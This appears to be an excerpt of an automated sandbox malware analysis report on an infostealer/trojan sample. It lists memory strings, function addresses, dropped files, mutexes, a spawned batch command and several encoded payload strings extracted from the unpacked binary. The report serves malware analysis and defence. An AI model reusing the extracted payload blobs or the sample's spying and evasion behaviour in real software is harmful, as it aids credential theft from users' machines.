                          Source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.00000000142B1000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.0000000013F3B000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.0000000013C2A000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.0000000015324000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.0000000013D0D000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.000000001519C000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.0000000014356000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.00000000141CD000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.0000000013AA2000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.00000000133E3000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.000000001364F000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.00000000130D2000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.000000001401E000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.00000000154AD000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.00000000140C3000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.000000001325B000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.00000000134C6000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.000000001333E000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000004552000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.0000000015407000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.000000001527F000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
                          Source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.0000000013191000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.0000000015177000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.000000001362A000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.0000000013E71000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.00000000153E3000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.000000001552D000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.0000000013236000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.00000000155D2000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.0000000013C05000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.00000000152FF000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.00000000130AD000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.0000000015488000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.00000000141A9000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.0000000013FF9000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.00000000134A1000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.000000001409E000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.0000000014331000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.0000000013A7D000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.0000000013B60000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.0000000014103000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.000000001428C000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
                          Source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.00000000138D2000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.00000000139CA000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.000000001448F000.00000004.00000800.00020000.00000000.sdmp, EnpqKavO8a.11.dr, mCh1L6KvL6.11.dr, pvWgSbfpvI.11.dr, myLGwzOrQI.11.dr, VlyurvLbwq.11.dr, SUERaYG9oO.11.dr, 2tzsql4ju6.11.dr, QPtM96Y9ZF.11.dr, WImLYB1UD6.11.dr, pJhN0EJubK.11.dr, sillPopu0p.11.dr, rZlDxRN17X.11.dr, RXIpbTZtye.11.dr, tX4hc1gdBn.11.dr, eR0K4tWJqw.11.dr, Tvx2NuFI3a.11.dr, AAfftWi070.11.dr, J5KWtpUil3.11.drString found in binary or memory: https://www.ecosia.org/newtab/
                          Source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.00000000138D2000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.00000000139CA000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.000000001448F000.00000004.00000800.00020000.00000000.sdmp, EnpqKavO8a.11.dr, mCh1L6KvL6.11.dr, pvWgSbfpvI.11.dr, myLGwzOrQI.11.dr, VlyurvLbwq.11.dr, SUERaYG9oO.11.dr, 2tzsql4ju6.11.dr, QPtM96Y9ZF.11.dr, WImLYB1UD6.11.dr, pJhN0EJubK.11.dr, sillPopu0p.11.dr, rZlDxRN17X.11.dr, RXIpbTZtye.11.dr, tX4hc1gdBn.11.dr, eR0K4tWJqw.11.dr, Tvx2NuFI3a.11.dr, AAfftWi070.11.dr, J5KWtpUil3.11.drString found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
                          Source: tYfNTC5mXF.11.drString found in binary or memory: https://www.mozilla.org
                          Source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000004552000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.mozilla.org/about/
                          Source: tYfNTC5mXF.11.drString found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
                          Source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000004552000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.mozilla.org/contribute/
                          Source: tYfNTC5mXF.11.drString found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
                          Source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000004552000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
                          Source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.0000000014739000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.0000000015B36000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.0000000014C39000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.0000000015636000.00000004.00000800.00020000.00000000.sdmp, 57QA15ne76.11.dr, tYfNTC5mXF.11.drString found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
                          Source: tYfNTC5mXF.11.drString found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
                          Source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000004552000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.mozilla.org/privacy/firefox/
                          Source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.0000000014739000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.0000000015B36000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.0000000014C39000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.0000000015636000.00000004.00000800.00020000.00000000.sdmp, 57QA15ne76.11.dr, tYfNTC5mXF.11.drString found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWindow created: window name: CLIPBRDWNDCLASSJump to behavior

                          System Summary

                          barindex
                          .NET source code contains very large strings
                          Source: 2.2.RegAsm.exe.436060.0.raw.unpack, s67.csLong String: Length: 800688
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeProcess Stats: CPU usage > 49%
                          Source: C:\Users\user\AppData\Roaming\h7xZry2ICs.exeCode function: 3_2_00007FF60D7F1494 LocalAlloc,NtQuerySystemInformation,LocalFree,LocalAlloc,LocalFree,3_2_00007FF60D7F1494
                          Source: C:\Users\user\AppData\Roaming\h7xZry2ICs.exeCode function: 3_2_00007FF60D7F1348 NtQuerySystemInformation,3_2_00007FF60D7F1348
                          Source: C:\Users\user\AppData\Roaming\h7xZry2ICs.exeCode function: 3_2_00007FF60D7F1A44: CreateFileW,DeviceIoControl,CloseHandle,FindFirstVolumeW,FindFirstVolumeMountPointW,memcpy,GetVolumeNameForVolumeMountPointW,GetVolumeNameForVolumeMountPointW,GetLastError,RemoveDirectoryW,FindNextVolumeMountPointW,FindVolumeMountPointClose,FindNextVolumeW,FindVolumeClose,FindVolumeMountPointClose,FindVolumeClose,3_2_00007FF60D7F1A44
                          Source: C:\Users\user\Desktop\file.exeCode function: 0_2_006A43620_2_006A4362
                          Source: C:\Users\user\Desktop\file.exeCode function: 0_2_006AC4D60_2_006AC4D6
                          Source: C:\Users\user\Desktop\file.exeCode function: 0_2_006946F60_2_006946F6
                          Source: C:\Users\user\Desktop\file.exeCode function: 0_2_006B6C730_2_006B6C73
                          Source: C:\Users\user\Desktop\file.exeCode function: 0_2_006ADD0C0_2_006ADD0C
                          Source: C:\Users\user\Desktop\file.exeCode function: 0_2_006A7F300_2_006A7F30
                          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 2_2_004023202_2_00402320
                          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 2_2_004050C02_2_004050C0
                          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 2_2_004204702_2_00420470
                          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 2_2_0040FCF02_2_0040FCF0
                          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 2_2_00419D192_2_00419D19
                          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 2_2_0041951B2_2_0041951B
                          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 2_2_004156352_2_00415635
                          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 2_2_00404F002_2_00404F00
                          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 2_2_0040CF8F2_2_0040CF8F
                          Source: C:\Users\user\AppData\Roaming\h7xZry2ICs.exeCode function: 3_2_00007FF60D7F17543_2_00007FF60D7F1754
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeCode function: 5_2_00007FFD9B8934155_2_00007FFD9B893415
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeCode function: 5_2_00007FFD9B881EC35_2_00007FFD9B881EC3
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeCode function: 5_2_00007FFD9BA63C9F5_2_00007FFD9BA63C9F
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeCode function: 5_2_00007FFD9BA65FFA5_2_00007FFD9BA65FFA
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeCode function: 5_2_00007FFD9BA662FC5_2_00007FFD9BA662FC
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeCode function: 5_2_00007FFD9BA672055_2_00007FFD9BA67205
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeCode function: 5_2_00007FFD9BA661F45_2_00007FFD9BA661F4
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeCode function: 5_2_00007FFD9BA675645_2_00007FFD9BA67564
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeCode function: 5_2_00007FFD9BA664FC5_2_00007FFD9BA664FC
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeCode function: 11_2_00007FFD9B8B341511_2_00007FFD9B8B3415
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeCode function: 11_2_00007FFD9B8A1EC311_2_00007FFD9B8A1EC3
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeCode function: 11_2_00007FFD9BE2311A11_2_00007FFD9BE2311A
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeCode function: 11_2_00007FFD9BE2457211_2_00007FFD9BE24572
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeCode function: 11_2_00007FFD9BE2293B11_2_00007FFD9BE2293B
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeCode function: 11_2_00007FFD9BE306F011_2_00007FFD9BE306F0
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeCode function: 11_2_00007FFD9BE6964011_2_00007FFD9BE69640
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeCode function: 11_2_00007FFD9BE29E2511_2_00007FFD9BE29E25
                          Source: Joe Sandbox ViewDropped File: C:\Users\user\Desktop\AwFlCgTm.log 0CB182B9F8BD0804FC3BBA016926199C536BD7491BA577E089271DC1A63B07BE
                          Source: C:\Users\user\Desktop\file.exeCode function: String function: 0069DC50 appears 53 times
                          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: String function: 00407D30 appears 53 times
                          Source: SsDyjNNO.log.5.drStatic PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
                          Source: JKjizlIg.log.5.drStatic PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
                          Source: zbQSPIDz.log.5.drStatic PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
                          Source: file.exeStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
                          Source: 2.2.RegAsm.exe.436060.0.raw.unpack, E32.csCryptographic APIs: 'TransformBlock'
                          Source: 2.2.RegAsm.exe.436060.0.raw.unpack, E32.csCryptographic APIs: 'TransformFinalBlock'
                          Source: 2.2.RegAsm.exe.436060.0.raw.unpack, E32.csCryptographic APIs: 'TransformFinalBlock', 'TransformBlock'
                          Source: SsDyjNNO.log.5.dr, -.csCryptographic APIs: 'TransformFinalBlock'
                          Source: JKjizlIg.log.5.dr, -.csCryptographic APIs: 'TransformFinalBlock'
                          Source: 2.2.RegAsm.exe.436060.0.raw.unpack, s67.csBase64 encoded string: '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
                          Source: 2.2.RegAsm.exe.436060.0.raw.unpack, 8B6.csBase64 encoded string: 'H4sIAAAAAAAEAMsoKSkottLXzyzIzEvL18vM188qzs8DACTOYY8WAAAA', 'H4sIAAAAAAAACssoKSkottLXTyzI1Mss0CtO0k9Pzc8sAABsWDNKFwAAAA=='
                          Source: 2.2.RegAsm.exe.436060.0.raw.unpack, 76n.csBase64 encoded string: 'rlNHqi11deHsuHHSSP9iJqP7DxLUF6kcTIRY5cFNSDpsf9yh9Uc+83eDrZbV8VSxJBO8VMk/7TQdhLLx6eCM8EzVs+hLKS/z3KySla5S/Z/PgLTmt/77RkKzVQoUpF/8MgMRsjn6Yr6xh59MNssRBnNb9nwhn4S5kxK9XVWOTyFWyUA1xaWwtVIDOO8YnZB5oYCBD4jbJv4wop2EeD4+Mw==', 'pWE+qgnLbF6IxHCndBeE3g8UqkV+C6E91H9F5Mtecl+Je5QQr8jHmt+DODkMz5h1mvT6aCGQ6O2LojS8VL3ylX3gA0S1INkwQvTR7vlFIm7UA39ILs4uvQ8JILyuySfxv8FmZMiXZnL80A9fg5BoAEtowDHLioD5g9f2yR3ahjToSRYcJlW4fJ28iwj2Eaum9JcqtpxkFaSsCof0rX+Gxigv8TPuwj43E0q8c0ey3U9gbQTxBkUhXfISGEi0q7xZ'
                          Source: 2.2.RegAsm.exe.436060.0.raw.unpack, 7YK.csBase64 encoded string: 'GASIF3uhrcy3WAHUoFgpvLhleHq8tdptG5+N3XEUf3V6o1be/+i/np7eh+0wGEPKd5hheZeT7yQMbExMPOvolBY7oDxDhDsyupdN0Lgf4/0sElrGMFn17sp8jeOcRy0EKLfRcl08Qc6OcwhoQ6Y7bbPqGjBKWWKuarqsinxub7di02vHwVJpHkrgY5qRCluGiT6zEPsxYa8sDK/Iw4cX9O4zMocbZyFrmBt+SgKLwJWffstzJIRfOWDgCh1JzpI5voocWjHuDk9RToT0ZR5Inon42l524ZlrgPi3ithAAqZJU8VvJ/sBLu+8g0g5BW0eCA4In6cpgFt6zBHyehUwnIU6Tmnif9RaUA5RMKDycW7X+nupqr+7mSJsEZDdCk7odZYGQsF4TyewO8LTj0N2UIy1L++Iv0zJo3quljlPcrRTj5sjIjsqFeZE9XO/MlV79FJ1C7ESAnt62kprhWU5kqZaMJ5JFnBfG2YvdmJkUbeFY3Xa4avoIOjS1ip/O8DdLBW6IfpWkYGLOilR3sYEeGkPIfKhv52ccRDPfnMxbKVxrBzE7bP5yG1vD00RmNJmHAAs7izUC+d9RVQpHV6XKDcRhPuo+wzo7XkLB9SQZD18ED8pJx7YFazrARQQI79vO7odUdPZYGunw9db2snSuHr0bueSvHw930H2eCPi9lJrJnTjb6UnenD70/g+dM7EXLfh0AOBG4OqTyWyVS+tg9uxIWQIScPVUWZ13zxnNMMUD6gW8A57RAKQhYanbIA5y5aIch/RkNOKkcWfxIMJnubC87I0RjZNKIHgXE6DpW55Ctoc35gmVf6vL30JgdrBxX5wqvpGmCCeUYSlgqDQdOLQs0J+wXuo8FjhQu5HgapvJcPi+5TIKhceblw44Yt1QO3lp2Rqoxet9N5P7tdM6Z2y0WQSzx0lTYG5NSlUv01tchCfQ2OIdtMAzmIFwGCVIm0RdH9XEgwGE+JCmbDcIXiQU2NoTyuSWLWoipXhUrbwmgzm0iaqk93I+rQ3EIkgj7HQDjHDsKUfjXyeokJONHkszK65ejJ+/wqek6LxMLyoZQONm6QYQ77i6H3Wj97sD5hzQNmHtAZ1Wi5bxnX/YrevPe8/H8PwxIlQfoDM73g='
                          Source: 2.2.RegAsm.exe.436060.0.raw.unpack, 52Z.csBase64 encoded string: 'ICBfX18gICAgICAgICAgIF8gICAgICBfX18gICAgICAgICAgICAgXyAgICAgICAgXyAgIF9fXyAgICBfIF9fX19fIA0KIHwgICBcIF9fIF8gXyBffCB8X18gIC8gX198XyBfIF8gIF8gX198IHxfIF9fIF98IHwgfCBfIFwgIC9fXF8gICBffA0KIHwgfCkgLyBfYCB8ICdffCAvIC8gfCAoX198ICdffCB8fCAoXy08ICBfLyBfYCB8IHwgfCAgIC8gLyBfIFx8IHwgIA0KIHxfX18vXF9fLF98X3wgfF9cX1wgIFxfX198X3wgIFxfLCAvX18vXF9fXF9fLF98X3wgfF98X1wvXy8gXF9cX3wgIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHxfXy8gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA=='
                          Source: classification engineClassification label: mal100.troj.spyw.evad.winEXE@18/343@0/1
                          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile created: C:\Users\user\AppData\Roaming\h7xZry2ICs.exeJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeMutant created: NULL
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeMutant created: \Sessions\1\BaseNamedObjects\Local\189233d4cfa745de5e66bd22be976afa9227ece1dec487230abbb1367695e97e
                          Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7124:120:WilError_03
                          Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6892:120:WilError_03
                          Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5236:120:WilError_03
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeFile created: C:\Users\user\AppData\Local\Temp\cvJOIZ2CsJJump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\c50EBnOxbg.bat"
                          Source: file.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
                          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile read: C:\Users\user\Desktop\desktop.iniJump to behavior
                          Source: C:\Users\user\Desktop\file.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
